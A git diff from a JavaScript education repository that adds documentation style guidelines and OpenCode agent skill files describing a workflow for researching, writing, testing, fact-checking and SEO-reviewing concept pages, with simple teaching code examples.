+console.log(counter()) // 1 +console.log(counter()) // 2 — it remembers! +``` + +Understanding closures unlocks patterns like private variables, factory functions, +and the module pattern that power modern JavaScript. +``` + +**Why this works for SEO:** +- Question hooks match how people search ("why do functions remember") +- Bold keyword in first paragraph +- Direct definition answers "what is a closure" +- Code example demonstrates immediately +- Natural setup for learning objectives + +--- + +## Inline Linking Rules (Critical!) + +### Always Link to MDN + +Whenever you introduce a new Web API, method, object, or JavaScript concept, **link to MDN immediately**. This gives readers a path to deeper learning. + +```mdx +<!-- ✓ CORRECT: Link on first mention --> +The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to make network requests. + +The **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object contains everything about the server's reply. + +Most modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format. + +<!-- ❌ WRONG: No links --> +The Fetch API is JavaScript's modern way to make network requests. +``` + +### Link to Related Concept Pages + +When mentioning concepts covered in other pages, link to them: + +```mdx +<!-- ✓ CORRECT: Internal links to related concepts --> +If you're not familiar with it, check out our [async/await concept](/concepts/async-await) first. + +This guide assumes you understand [Promises](/concepts/promises). + +<!-- ❌ WRONG: No internal links --> +If you're not familiar with async/await, you should learn that first. +``` + +### Common MDN Link Patterns + +| Concept | MDN URL Pattern | +|---------|-----------------| +| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` | +| JavaScript Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` | +| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` | +| HTTP Methods | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/{METHOD}` | +| HTTP Headers | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers` | + +--- + +## Code Examples Best Practices + +### 1. Start with the Simplest Possible Example + +```javascript +// ✓ GOOD: Start with the absolute basics +// This is how you fetch data in JavaScript +const response = await fetch('https://api.example.com/users/1') +const user = await response.json() +console.log(user.name) // "Alice" +``` + +### 2. Use Step-by-Step Comments + +```javascript +// Step 1: fetch() returns a Promise that resolves to a Response object +const responsePromise = fetch('https://api.example.com/users') + +// Step 2: When the response arrives, we get a Response object +responsePromise.then(response => { + console.log(response.status) // 200 + + // Step 3: The body is a stream, we need to parse it + return response.json() +}) +.then(data => { + // Step 4: Now we have the actual data + console.log(data) +}) +``` + +### 3. Show Output in Comments + +```javascript +const greeting = "Hello" +console.log(typeof greeting) // "string" + +const numbers = [1, 2, 3] +console.log(numbers.length) // 3 +``` + +### 4. Use ❌ and ✓ for Wrong/Correct Patterns + +```javascript +// ❌ WRONG - This misses HTTP errors! +try { + const response = await fetch('/api/users/999') + const data = await response.json() +} catch (error) { + // Only catches NETWORK errors, not 404s! +} + +// ✓ CORRECT - Check response.ok +try { + const response = await fetch('/api/users/999') + + if (!response.ok) { + throw new Error(`HTTP error! Status: ${response.status}`) + } + + const data = await response.json() +} catch (error) { + // Now catches both network AND HTTP errors +} +``` + +### 5. Use Meaningful Variable Names + +```javascript +// ❌ BAD +const x = [1, 2, 3] +const y = x.map(z => z * 2) + +// ✓ GOOD +const numbers = [1, 2, 3] +const doubled = numbers.map(num => num * 2) +``` + +### 6. Progress from Simple to Complex + +```javascript +// Level 1: Basic usage +fetch('/api/users') + +// Level 2: With options +fetch('/api/users', { + method: 'POST', + body: JSON.stringify({ name: 'Alice' }) +}) + +// Level 3: Full real-world pattern +async function createUser(userData) { + const response = await fetch('/api/users', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(userData) + }) + + if (!response.ok) { + throw new Error(`Failed to create user: ${response.status}`) + } + + return response.json() +} +``` + +--- + +## Resource Curation Guidelines + +External resources (articles, videos) are valuable, but must meet quality standards. + +### Quality Standards + +Only include resources that are: + +1. **JavaScript-focused** — No resources primarily about other languages (C#, Python, Java, etc.), even if the concepts are similar +2. **Still accessible** — Verify all links work before publishing +3. **High quality** — From reputable sources (MDN, javascript.info, freeCodeCamp, well-known educators) +4. **Up to date** — Avoid outdated resources; check publication dates for time-sensitive topics +5. **Accurate** — Skim the content to verify it doesn't teach anti-patterns + +### Writing Resource Descriptions + +Each resource needs a **specific, engaging 2-sentence description** explaining what makes it unique. Generic descriptions waste the reader's time. + +```mdx +<!-- ❌ Generic (bad) --> +<Card title="JavaScript Promises Tutorial" icon="newspaper" href="..."> + Learn about Promises in JavaScript. +</Card> + +<!-- ❌ Generic (bad) --> +<Card title="Async/Await Explained" icon="newspaper" href="..."> + A comprehensive guide to async/await. +</Card> + +<!-- ✓ Specific (good) --> +<Card title="JavaScript Async/Await Tutorial" icon="newspaper" href="https://javascript.info/async-await"> + The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains. +</Card> + +<!-- ✓ Specific (good) --> +<Card title="JavaScript Visualized: Promises & Async/Await" icon="newspaper" href="..."> + Animated GIFs showing the call stack, microtask queue, and event loop in action. This is how async/await finally "clicked" for thousands of developers. +</Card> + +<!-- ✓ Specific (good) --> +<Card title="How to Escape Async/Await Hell" icon="newspaper" href="..."> + The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics. +</Card> +``` + +**Description Formula:** +1. **Sentence 1:** What makes this resource unique OR what it specifically covers +2. **Sentence 2:** Why a reader should click (what they'll gain, who it's best for, what stands out) + +**Avoid in descriptions:** +- "Comprehensive guide to..." (vague) +- "Great tutorial on..." (vague) +- "Learn all about..." (vague) +- "Everything you need to know about..." (cliché) + +### Recommended Sources + +**Articles (Prioritize):** + +| Source | Why | +|--------|-----| +| javascript.info | Comprehensive, well-maintained, exercises included | +| MDN Web Docs | Official reference, always accurate | +| freeCodeCamp | Beginner-friendly, practical tutorials | +| dev.to (Lydia Hallie, etc.) | Visual explanations, community favorites | +| CSS-Tricks | DOM, browser APIs, visual topics | + +**Videos (Prioritize):** + +| Creator | Style | +|---------|-------| +| Web Dev Simplified | Clear, beginner-friendly, concise | +| Fireship | Fast-paced, modern, entertaining | +| Traversy Media | Comprehensive crash courses | +| Fun Fun Function | Deep-dives with personality | +| Wes Bos | Practical, real-world focused | + +**Avoid:** +- Resources in other programming languages (C#, Python, Java) even if concepts overlap +- Outdated tutorials (pre-ES6 syntax for modern concepts) +- Paywalled content (unless there's a free tier) +- Low-quality Medium articles (check engagement and accuracy) +- Resources that teach anti-patterns +- Videos over 2 hours (link to specific timestamps if valuable) + +### Verifying Resources + +Before including any resource: + +1. **Click the link** — Verify it loads and isn't behind a paywall +2. **Skim the content** — Ensure it's accurate and well-written +3. **Check the date** — For time-sensitive topics, prefer recent content +4. **Read comments/reactions** — Community feedback reveals quality issues +5. **Test code examples** — If they include code, verify it works + +--- + +## ASCII Art Diagrams + +Use ASCII art to visualize concepts. Make them boxed and labeled: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE REQUEST-RESPONSE CYCLE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ YOU (Browser) KITCHEN (Server) │ +│ ┌──────────┐ ┌──────────────┐ │ +│ │ │ ──── "I'd like pasta" ────► │ │ │ +│ │ :) │ (REQUEST) │ [chef] │ │ +│ │ │ │ │ │ +│ │ │ ◄──── Here you go! ──────── │ │ │ +│ │ │ (RESPONSE) │ │ │ +│ └──────────┘ └──────────────┘ │ +│ │ +│ The waiter (HTTP) is the protocol that makes this exchange work! │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Mintlify Components Reference + +| Component | When to Use | +|-----------|-------------| +| `<Info>` | "What you'll learn" boxes, Key Takeaways | +| `<Warning>` | Common mistakes, gotchas, prerequisites | +| `<Tip>` | Pro tips, rules of thumb, best practices | +| `<Note>` | Additional context, side notes | +| `<AccordionGroup>` | Expandable content, Q&A sections, optional deep-dives | +| `<Tabs>` | Comparing different approaches side-by-side | +| `<Steps>` | Sequential processes, numbered workflows | +| `<CardGroup>` | Resource links (articles, videos, references) | +| `<Card>` | Individual resource with icon and link | + +### Card Icons Reference + +| Content Type | Icon | +|--------------|------| +| MDN/Official Docs | `book` | +| Articles/Blog Posts | `newspaper` | +| Videos | `video` | +| Courses | `graduation-cap` | +| Related Concepts | Context-appropriate (`handshake`, `hourglass`, `arrows-spin`, `sitemap`, etc.) | + +--- + +## Quality Checklist + +Before finalizing a concept page, verify ALL of these: + +### Structure +- [ ] Opens with engaging questions that hook the reader +- [ ] Shows a simple code example immediately after the opening +- [ ] Has "What you'll learn" Info box right after the opening +- [ ] Major sections are separated by `---` horizontal rules +- [ ] Has a real-world analogy with ASCII art diagram +- [ ] Has a "Common Mistakes" or "The #1 Mistake" section +- [ ] Has a "Key Takeaways" section summarizing 8-10 points +- [ ] Has a "Test Your Knowledge" section with 5-6 Q&As +- [ ] Ends with Related Concepts, Reference, Articles, Videos in that order + +### Linking +- [ ] All new Web APIs/methods have inline MDN links on first mention +- [ ] All related concepts link to their concept pages (`/concepts/slug`) +- [ ] Reference section has multiple MDN links +- [ ] 4-6 quality articles with descriptions +- [ ] 3-4 quality videos with descriptions + +### Code Examples +- [ ] First code example is dead simple +- [ ] Uses step-by-step comments for complex examples +- [ ] Shows output in comments (`// "result"`) +- [ ] Uses ❌ and ✓ for wrong/correct patterns +- [ ] Uses meaningful variable names +- [ ] Progresses from simple to complex + +### Content Quality +- [ ] Written for someone who might be new to coding +- [ ] Prerequisites are noted with Warning component +- [ ] No assumptions about prior knowledge without links +- [ ] Tables used for quick reference information +- [ ] ASCII diagrams for visual concepts + +### Language Quality +- [ ] Description starts with "Learn" or "Understand" (not "Master") +- [ ] No overuse of em dashes (fewer than 15 outside Key Takeaways and structured sections) +- [ ] No AI superlatives: "dramatically", "fundamentally", "incredibly", "extremely" +- [ ] No stiff phrases: "one of the most important", "essential points", "It should be noted" +- [ ] Emphasis patterns vary (not all "Key insight:" or "Best practice:") +- [ ] Playful touches are sparse (1-2 per major section maximum) +- [ ] No filler words: "basically", "essentially", "actually", "very", "really" +- [ ] Sentences are direct (no "In order to", "Due to the fact that") + +### Resource Quality +- [ ] All article/video links are verified working +- [ ] All resources are JavaScript-focused (no C#, Python, Java resources) +- [ ] Each resource has a specific 2-sentence description (not generic) +- [ ] Resource descriptions explain what makes each unique +- [ ] No outdated resources (check dates for time-sensitive topics) +- [ ] 4-6 articles from reputable sources +- [ ] 3-4 videos from quality creators + +--- + +## Writing Tests + +When adding code examples, create corresponding tests in `/tests/`: + +```javascript +// tests/{category}/{concept-name}/{concept-name}.test.js +import { describe, it, expect } from 'vitest' + +describe('Concept Name', () => { + describe('Basic Examples', () => { + it('should demonstrate the core concept', () => { + // Convert console.log examples to expect assertions + expect(typeof "hello").toBe("string") + }) + }) + + describe('Common Mistakes', () => { + it('should show the wrong behavior', () => { + // Test the "wrong" example to prove it's actually wrong + }) + + it('should show the correct behavior', () => { + // Test the "correct" example + }) + }) +}) +``` + +--- + +## SEO Checklist + +Verify these elements before publishing any concept page: + +### Title & Meta Description +- [ ] **Title is 50-60 characters** — check with character counter +- [ ] **Title ends with "in JavaScript"** — SEO keyword at end +- [ ] **Title has a compelling hook** — tells reader what they'll understand +- [ ] **sidebarTitle matches title but without "in JavaScript"** — cleaner navigation +- [ ] **Description is 150-160 characters** — don't leave value on the table +- [ ] **Description includes primary keyword** in first sentence +- [ ] **Description includes 1-2 secondary keywords** naturally +- [ ] **Description starts with action word** (Learn, Understand, Discover — avoid "Master") +- [ ] **Description promises specific value** — what will they learn? + +### Keyword Placement +- [ ] **Primary keyword in title** +- [ ] **Primary keyword in description** +- [ ] **Primary keyword in first paragraph** (within first 100 words) +- [ ] **Primary keyword in at least one H2 heading** +- [ ] **Secondary keywords in H2/H3 headings** where natural +- [ ] **Keywords in "What you'll learn" box items** +- [ ] **No keyword stuffing** — content reads naturally + +### Content Structure +- [ ] **Opens with question hook** matching search intent +- [ ] **Shows code example in first 200 words** +- [ ] **First paragraph after H2s directly answers** the implied question +- [ ] **Content is 1,500+ words** (comprehensive coverage) +- [ ] **Short paragraphs** (2-4 sentences maximum) +- [ ] **Uses bullet lists** for 3+ related items +- [ ] **Uses numbered lists** for sequential processes +- [ ] **Uses tables** for comparisons and reference data +- [ ] **Key terms bolded** on first mention with MDN links + +### Featured Snippet Optimization +- [ ] **"What is X" section has 40-60 word definition paragraph** +- [ ] **"How to" sections use numbered steps or `<Steps>` component** +- [ ] **Comparison sections use tables** with clear headers +- [ ] **At least one H2 is phrased as a question** matching search query + +### Internal Linking +- [ ] **Links to 3-5 related concept pages** in body content +- [ ] **Uses descriptive anchor text** (not "click here" or "here") +- [ ] **Prerequisites linked in Warning component** at start +- [ ] **Related Concepts section has 4 cards** with relevant concepts +- [ ] **Links appear in natural context** — not forced + +### Technical SEO +- [ ] **Slug is lowercase with hyphens** +- [ ] **Slug contains primary keyword** +- [ ] **Slug is 3-5 words maximum** +- [ ] **All external links use proper URLs** (no broken links) +- [ ] **MDN links are current** (check they resolve) diff --git a/.gitignore b/.gitignore index 0cc13e70..39ecea19 100644 --- a/.gitignore +++ b/.gitignore @@ -62,6 +62,3 @@ typings/ # webstore IDE created directory .idea - -# OpenCode configuration (local only) -.opencode/ diff --git a/.opencode/skill/concept-workflow/SKILL.md b/.opencode/skill/concept-workflow/SKILL.md new file mode 100644 index 00000000..0bcaf450 --- /dev/null +++ b/.opencode/skill/concept-workflow/SKILL.md @@ -0,0 +1,513 @@ +--- +name: concept-workflow +description: End-to-end workflow for creating complete JavaScript concept documentation, orchestrating all skills from research to final review +--- + +# Skill: Complete Concept Workflow + +Use this skill to create a complete, high-quality concept page from start to finish. This skill orchestrates all five specialized skills in the optimal order: + +1. **Resource Curation** — Find quality learning resources +2. **Concept Writing** — Write the documentation page +3. **Test Writing** — Create tests for code examples +4. **Fact Checking** — Verify technical accuracy +5. **SEO Review** — Optimize for search visibility + +## When to Use + +- Creating a brand new concept page from scratch +- Completely rewriting an existing concept page +- When you want a full end-to-end workflow with all quality checks + +**For partial tasks, use individual skills instead:** +- Just adding resources? Use `resource-curator` +- Just writing content? Use `write-concept` +- Just adding tests? Use `test-writer` +- Just verifying accuracy? Use `fact-check` +- Just optimizing SEO? Use `seo-review` + +--- + +## Workflow Overview + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ COMPLETE CONCEPT WORKFLOW │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ INPUT: Concept name (e.g., "hoisting", "event-loop", "promises") │ +│ │ +│ ┌──────────────────┐ │ +│ │ PHASE 1: RESEARCH │ │ +│ │ resource-curator │ Find MDN refs, articles, videos │ +│ └────────┬─────────┘ │ +│ ▼ │ +│ ┌──────────────────┐ │ +│ │ PHASE 2: WRITE │ │ +│ │ write-concept │ Create the documentation page │ +│ └────────┬─────────┘ │ +│ ▼ │ +│ ┌──────────────────┐ │ +│ │ PHASE 3: TEST │ │ +│ │ test-writer │ Generate tests for all code examples │ +│ └────────┬─────────┘ │ +│ ▼ │ +│ ┌──────────────────┐ │ +│ │ PHASE 4: VERIFY │ │ +│ │ fact-check │ Verify accuracy, run tests, check links │ +│ └────────┬─────────┘ │ +│ ▼ │ +│ ┌──────────────────┐ │ +│ │ PHASE 5: OPTIMIZE│ │ +│ │ seo-review │ SEO audit and final optimizations │ +│ └────────┬─────────┘ │ +│ ▼ │ +│ OUTPUT: Complete, tested, verified, SEO-optimized concept page │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Phase 1: Resource Curation + +**Skill:** `resource-curator` +**Goal:** Gather high-quality external resources before writing + +### What to Do + +1. **Identify the concept category** (fundamentals, async, OOP, etc.) +2. **Search for MDN references** — Official documentation +3. **Find quality articles** — Target 4-6 from trusted sources +4. **Find quality videos** — Target 3-4 from trusted creators +5. **Evaluate each resource** — Check quality criteria +6. **Write specific descriptions** — 2 sentences each +7. **Format as Card components** — Ready to paste into the page + +### Deliverables + +- List of 2-4 MDN/reference links with descriptions +- List of 4-6 article links with descriptions +- List of 3-4 video links with descriptions +- Optional: 1-2 courses or books + +### Quality Gates + +Before moving to Phase 2: +- [ ] All links verified working (200 response) +- [ ] All resources are JavaScript-focused +- [ ] Descriptions are specific, not generic +- [ ] Mix of beginner and advanced content + +--- + +## Phase 2: Concept Writing + +**Skill:** `write-concept` +**Goal:** Create the full documentation page + +### What to Do + +1. **Determine the category** for file organization +2. **Create the frontmatter** (title, sidebarTitle, description) +3. **Write the opening hook** — Question that draws readers in +4. **Add opening code example** — Simple example in first 200 words +5. **Write "What you'll learn" box** — 5-7 bullet points +6. **Write main content sections:** + - What is [concept]? (with 40-60 word definition for featured snippet) + - Real-world analogy + - How it works (with diagrams) + - Code examples (multiple, progressive complexity) + - Common mistakes + - Edge cases +7. **Add Key Takeaways** — 8-10 numbered points +8. **Add Test Your Knowledge** — 5-6 Q&A accordions +9. **Add Related Concepts** — 4 Cards linking to related topics +10. **Add Resources** — Paste resources from Phase 1 + +### Deliverables + +- Complete `.mdx` file at `/docs/concepts/{concept-name}.mdx` +- File added to `docs.json` navigation (if new) + +### Quality Gates + +Before moving to Phase 3: +- [ ] Frontmatter complete (title, sidebarTitle, description) +- [ ] Opens with question hook +- [ ] Code example in first 200 words +- [ ] "What you'll learn" Info box present +- [ ] All required sections present +- [ ] Resources section complete +- [ ] 1,500+ words + +--- + +## Phase 3: Test Writing + +**Skill:** `test-writer` +**Goal:** Create comprehensive tests for all code examples + +### What to Do + +1. **Scan the concept page** for all code examples +2. **Categorize examples:** + - Testable (console.log, return values) + - DOM-specific (needs jsdom) + - Error examples (toThrow) + - Conceptual (skip) +3. **Create test file** at `tests/{category}/{concept}/{concept}.test.js` +4. **Create DOM test file** (if needed) at `tests/{category}/{concept}/{concept}.dom.test.js` +5. **Write tests** for each code example with source line references +6. **Run tests** to verify all pass + +### Deliverables + +- Test file: `tests/{category}/{concept-name}/{concept-name}.test.js` +- DOM test file (if applicable): `tests/{category}/{concept-name}/{concept-name}.dom.test.js` +- All tests passing + +### Quality Gates + +Before moving to Phase 4: +- [ ] All testable code examples have tests +- [ ] Source line references in comments +- [ ] Tests pass: `npm test -- tests/{category}/{concept}/` +- [ ] DOM tests in separate file with jsdom directive + +--- + +## Phase 4: Fact Checking + +**Skill:** `fact-check` +**Goal:** Verify technical accuracy of all content + +### What to Do + +1. **Verify code examples:** + - Run tests: `npm test -- tests/{category}/{concept}/` + - Check any untested examples manually + - Verify output comments match actual outputs + +2. **Verify MDN/spec claims:** + - Click all MDN links — verify they work + - Compare API descriptions to MDN + - Check ECMAScript spec for nuanced claims + +3. **Verify external resources:** + - Check all article/video links work + - Skim content for accuracy + - Verify descriptions match content + +4. **Audit technical claims:** + - Look for "always/never" statements + - Verify performance claims + - Check for common misconceptions + +5. **Generate fact-check report** + +### Deliverables + +- Fact-check report documenting: + - Code verification results + - Link check results + - Any issues found and fixes made + +### Quality Gates + +Before moving to Phase 5: +- [ ] All tests passing +- [ ] All MDN links valid +- [ ] All external resources accessible +- [ ] No technical inaccuracies found +- [ ] No common misconceptions + +--- + +## Phase 5: SEO Review + +**Skill:** `seo-review` +**Goal:** Optimize for search visibility + +### What to Do + +1. **Audit title tag:** + - 50-60 characters + - Primary keyword in first half + - Ends with "in JavaScript" + - Contains compelling hook + +2. **Audit meta description:** + - 150-160 characters + - Starts with action word (Learn, Understand, Discover) + - Contains primary keyword + - Promises specific value + +3. **Audit keyword placement:** + - Keyword in title + - Keyword in description + - Keyword in first 100 words + - Keyword in at least one H2 + +4. **Audit content structure:** + - Question hook opening + - Code in first 200 words + - "What you'll learn" box + - Short paragraphs + +5. **Audit featured snippet optimization:** + - 40-60 word definition after "What is" H2 + - Question-format H2s + - Numbered steps for how-to content + +6. **Audit internal linking:** + - 3-5 related concepts linked + - Descriptive anchor text + - Related Concepts section complete + +7. **Calculate score** and fix any issues + +### Deliverables + +- SEO audit report with score (X/27) +- All high-priority fixes implemented + +### Quality Gates + +Before marking complete: +- [ ] Score 24+ out of 27 (90%+) +- [ ] Title optimized +- [ ] Meta description optimized +- [ ] Keywords placed naturally +- [ ] Featured snippet optimized +- [ ] Internal links complete + +--- + +## Complete Workflow Checklist + +Use this master checklist to track progress through all phases. + +```markdown +# Concept Workflow: [Concept Name] + +**Started:** YYYY-MM-DD +**Target Category:** {category} +**File Path:** `/docs/concepts/{concept-name}.mdx` +**Test Path:** `/tests/{category}/{concept-name}/` + +--- + +## Phase 1: Resource Curation +- [ ] MDN references found (2-4) +- [ ] Articles found (4-6) +- [ ] Videos found (3-4) +- [ ] All links verified working +- [ ] Descriptions written (specific, 2 sentences) +- [ ] Resources formatted as Cards + +**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete + +--- + +## Phase 2: Concept Writing +- [ ] Frontmatter complete +- [ ] Opening hook written +- [ ] Opening code example added +- [ ] "What you'll learn" box added +- [ ] Main content sections written +- [ ] Key Takeaways added +- [ ] Test Your Knowledge added +- [ ] Related Concepts added +- [ ] Resources pasted from Phase 1 +- [ ] Added to docs.json (if new) + +**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete + +--- + +## Phase 3: Test Writing +- [ ] Code examples extracted and categorized +- [ ] Test file created +- [ ] DOM test file created (if needed) +- [ ] All testable examples have tests +- [ ] Source line references added +- [ ] Tests run and passing + +**Test Results:** X passing, X failing + +**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete + +--- + +## Phase 4: Fact Checking +- [ ] All tests passing +- [ ] Code examples verified accurate +- [ ] MDN links checked (X/X valid) +- [ ] External resources checked (X/X valid) +- [ ] Technical claims audited +- [ ] No misconceptions found +- [ ] Issues fixed + +**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete + +--- + +## Phase 5: SEO Review +- [ ] Title tag optimized (50-60 chars) +- [ ] Meta description optimized (150-160 chars) +- [ ] Keywords placed correctly +- [ ] Content structure verified +- [ ] Featured snippet optimized +- [ ] Internal links complete + +**SEO Score:** X/27 (X%) + +**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete + +--- + +## Final Status + +**All Phases Complete:** ⬜ No | ✅ Yes +**Ready to Publish:** ⬜ No | ✅ Yes +**Completed:** YYYY-MM-DD +``` + +--- + +## Execution Instructions + +When executing this workflow, follow these steps: + +### Step 1: Initialize + +```markdown +Starting concept workflow for: [CONCEPT NAME] + +Category: [fundamentals/functions-execution/web-platform/etc.] +File: /docs/concepts/[concept-name].mdx +Tests: /tests/[category]/[concept-name]/ +``` + +### Step 2: Execute Each Phase + +For each phase: + +1. **Announce the phase:** + ```markdown + ## Phase X: [Phase Name] + Using skill: [skill-name] + ``` + +2. **Load the skill** to get detailed instructions + +3. **Execute the phase** following the skill's methodology + +4. **Report completion:** + ```markdown + Phase X complete: + - [Deliverable 1] + - [Deliverable 2] + - Quality gates: ✅ All passed + ``` + +5. **Move to next phase** only after quality gates pass + +### Step 3: Final Report + +After all phases complete: + +```markdown +# Workflow Complete: [Concept Name] + +## Summary +- **Concept Page:** `/docs/concepts/[concept-name].mdx` +- **Test File:** `/tests/[category]/[concept-name]/[concept-name].test.js` +- **Word Count:** X,XXX words +- **Code Examples:** XX (XX tested) +- **Resources:** X MDN, X articles, X videos + +## Quality Metrics +- **Tests:** XX passing +- **Fact Check:** ✅ All verified +- **SEO Score:** XX/27 (XX%) + +## Files Created/Modified +1. `/docs/concepts/[concept-name].mdx` (created) +2. `/docs/docs.json` (updated navigation) +3. `/tests/[category]/[concept-name]/[concept-name].test.js` (created) + +## Ready to Publish: ✅ Yes +``` + +--- + +## Phase Dependencies + +Some phases can be partially parallelized, but the general flow should be: + +``` +Phase 1 (Resources) ──┐ + ├──► Phase 2 (Writing) ──► Phase 3 (Tests) ──┐ + │ │ + │ ┌───────────────────────────────────┘ + │ ▼ + └──► Phase 4 (Fact Check) ──► Phase 5 (SEO) +``` + +- **Phase 1 before Phase 2:** Resources inform what to write +- **Phase 2 before Phase 3:** Need content before writing tests +- **Phase 3 before Phase 4:** Tests are part of fact-checking +- **Phase 4 before Phase 5:** Fix accuracy issues before SEO polish + +--- + +## Skill Reference + +| Phase | Skill | Purpose | +|-------|-------|---------| +| 1 | `resource-curator` | Find and evaluate external resources | +| 2 | `write-concept` | Write the documentation page | +| 3 | `test-writer` | Generate tests for code examples | +| 4 | `fact-check` | Verify technical accuracy | +| 5 | `seo-review` | Optimize for search visibility | + +Each skill has detailed instructions in its own `SKILL.md` file. Load the appropriate skill at each phase for comprehensive guidance. + +--- + +## Time Estimates + +| Phase | Estimated Time | Notes | +|-------|---------------|-------| +| Phase 1: Resources | 15-30 min | Depends on availability of quality resources | +| Phase 2: Writing | 1-3 hours | Depends on concept complexity | +| Phase 3: Tests | 30-60 min | Depends on number of code examples | +| Phase 4: Fact Check | 15-30 min | Most automated via tests | +| Phase 5: SEO | 15-30 min | Mostly checklist verification | +| **Total** | **2-5 hours** | For a complete concept page | + +--- + +## Quick Start + +To start the workflow for a new concept: + +``` +1. Determine the concept name and category +2. Load this skill (concept-workflow) +3. Execute Phase 1: Load resource-curator, find resources +4. Execute Phase 2: Load write-concept, write the page +5. Execute Phase 3: Load test-writer, create tests +6. Execute Phase 4: Load fact-check, verify accuracy +7. Execute Phase 5: Load seo-review, optimize SEO +8. Generate final report +9. Commit changes +``` + +**Example prompt to start:** + +> "Create a complete concept page for 'hoisting' using the concept-workflow skill" + +This will trigger the full end-to-end workflow, creating a complete, tested, verified, and SEO-optimized concept page. diff --git a/.opencode/skill/fact-check/SKILL.md b/.opencode/skill/fact-check/SKILL.md new file mode 100644 index 00000000..e9fef411 --- /dev/null +++ b/.opencode/skill/fact-check/SKILL.md @@ -0,0 +1,649 @@ +--- +name: fact-check +description: Verify technical accuracy of JavaScript concept pages by checking code examples, MDN/ECMAScript compliance, and external resources to prevent misinformation +--- + +# Skill: JavaScript Fact Checker + +Use this skill to verify the technical accuracy of concept documentation pages for the 33 JavaScript Concepts project. This ensures we're not spreading misinformation about JavaScript. + +## When to Use + +- Before publishing a new concept page +- After significant edits to existing content +- When reviewing community contributions +- When updating pages with new JavaScript features +- Periodic accuracy audits of existing content + +## What We're Protecting Against + +- Incorrect JavaScript behavior claims +- Outdated information (pre-ES6 patterns presented as current) +- Code examples that don't produce stated outputs +- Broken or misleading external resource links +- Common misconceptions stated as fact +- Browser-specific behavior presented as universal +- Inaccurate API descriptions + +--- + +## Fact-Checking Methodology + +Follow these five phases in order for a complete fact check. + +### Phase 1: Code Example Verification + +Every code example in the concept page must be verified for accuracy. + +#### Step-by-Step Process + +1. **Identify all code blocks** in the document +2. **For each code block:** + - Read the code and any output comments (e.g., `// "string"`) + - Mentally execute the code or test in a JavaScript environment + - Verify the output matches what's stated in comments + - Check that variable names and logic are correct + +3. **For "wrong" examples (marked with ❌):** + - Verify they actually produce the wrong/unexpected behavior + - Confirm the explanation of why it's wrong is accurate + +4. **For "correct" examples (marked with ✓):** + - Verify they work as stated + - Confirm they follow current best practices + +5. **Run project tests:** + ```bash + # Run all tests + npm test + + # Run tests for a specific concept + npm test -- tests/fundamentals/call-stack/ + npm test -- tests/fundamentals/primitive-types/ + ``` + +6. **Check test coverage:** + - Look in `/tests/{category}/{concept-name}/` + - Verify tests exist for major code examples + - Flag examples without test coverage + +#### Code Verification Checklist + +| Check | How to Verify | +|-------|---------------| +| `console.log` outputs match comments | Run code or trace mentally | +| Variables are correctly named/used | Read through logic | +| Functions return expected values | Trace execution | +| Async code resolves in stated order | Understand event loop | +| Error examples actually throw | Test in try/catch | +| Array/object methods return correct types | Check MDN | +| `typeof` results are accurate | Test common cases | +| Strict mode behavior noted if relevant | Check if example depends on it | + +#### Common Output Mistakes to Catch + +```javascript +// Watch for these common mistakes: + +// 1. typeof null +typeof null // "object" (not "null"!) + +// 2. Array methods that return new arrays vs mutate +const arr = [1, 2, 3] +arr.push(4) // Returns 4 (length), not the array! +arr.map(x => x*2) // Returns NEW array, doesn't mutate + +// 3. Promise resolution order +Promise.resolve().then(() => console.log('micro')) +setTimeout(() => console.log('macro'), 0) +console.log('sync') +// Output: sync, micro, macro (NOT sync, macro, micro) + +// 4. Comparison results +[] == false // true +[] === false // false +![] // false (empty array is truthy!) + +// 5. this binding +const obj = { + name: 'Alice', + greet: () => console.log(this.name) // undefined! Arrow has no this +} +``` + +--- + +### Phase 2: MDN Documentation Verification + +All claims about JavaScript APIs, methods, and behavior should align with MDN documentation. + +#### Step-by-Step Process + +1. **Check all MDN links:** + - Click each MDN link in the document + - Verify the link returns 200 (not 404) + - Confirm the linked page matches what's being referenced + +2. **Verify API descriptions:** + - Compare method signatures with MDN + - Check parameter names and types + - Verify return types + - Confirm edge case behavior + +3. **Check for deprecated APIs:** + - Look for deprecation warnings on MDN + - Flag any deprecated methods being taught as current + +4. **Verify browser compatibility claims:** + - Cross-reference with MDN compatibility tables + - Check Can I Use for broader support data + +#### MDN Link Patterns + +| Content Type | MDN URL Pattern | +|--------------|-----------------| +| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` | +| Global Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` | +| Statements | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/{Statement}` | +| Operators | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/{Operator}` | +| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` | + +#### What to Verify Against MDN + +| Claim Type | What to Check | +|------------|---------------| +| Method signature | Parameters, optional params, return type | +| Return value | Exact type and possible values | +| Side effects | Does it mutate? What does it affect? | +| Exceptions | What errors can it throw? | +| Browser support | Compatibility tables | +| Deprecation status | Any deprecation warnings? | + +--- + 